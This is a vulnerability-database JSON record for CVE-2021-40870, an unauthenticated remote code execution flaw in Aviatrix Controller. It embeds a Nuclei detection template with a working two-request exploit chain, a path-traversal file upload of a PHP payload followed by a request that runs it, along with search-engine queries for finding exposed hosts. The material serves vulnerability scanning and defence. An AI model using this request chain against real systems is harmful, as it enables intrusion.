{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-40870/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-40870/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-40870/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-40870/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-40870/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-40870"},"sightings":{"href":"/api/v1/sightings/cve-2021-40870"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.93019,"kev":true,"percentile":0.99829},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-40870.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-40870\n\ninfo:\n  name: Aviatrix Controller 6.x before 6.5-1804.1922 - Remote Command Execution\n  author: pikpikcu\n  severity: critical\n  description: Aviatrix Controller 6.x before 6.5-1804.1922 contains a vulnerability that allows unrestricted upload of a file with a dangerous type, which allows an unauthenticated user to execute arbitrary code via directory traversal.\n  impact: |\n    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.\n  remediation: |\n    Upgrade Aviatrix Controller to version 6.5-1804.1922 or later to mitigate this vulnerability.\n  reference:\n    - https://docs.aviatrix.com/HowTos/UCC_Release_Notes.html#security-note-9-11-2021\n    - https://wearetradecraft.com/advisories/tc-2021-0002/\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-40870\n    - http://packetstormsecurity.com/files/164461/Aviatrix-Controller-6.x-Path-Traversal-Code-Execution.html\n    - https://github.com/ARPSyndicate/cvemon\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-40870\n    cwe-id: CWE-23\n    epss-score: 0.93019\n    epss-percentile: 0.99829\n    cpe: cpe:2.3:a:aviatrix:controller:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: aviatrix\n    product: controller\n    shodan-query: http.title:\"aviatrix cloud controller\"\n    fofa-query: title=\"aviatrix cloud controller\"\n    google-query: intitle:\"aviatrix cloud controller\"\n  tags: cve2021,cve,intrusive,packetstorm,rce,aviatrix,kev,fileupload,vkev,vuln\nvariables:\n  string: \"CVE-2021-40870\"\n\nhttp:\n  - raw:\n      - |\n        POST /v1/backend1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{{randstr}}.php&data=<?php echo md5(\"{{string}}\");unlink(__FILE__);?>\n      - |\n        GET /v1/{{randstr}}.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_2\n        words:\n          - '{{md5(string)}}'\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502200c2885bd4f5d81b25b39e757a6f7e018aa85780fd4367714db9790b97cfacb31022100d0310ebee7b9804b0c01e218dc39229291305d87062e412230eab1f2e380d6d0:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2021-40870"}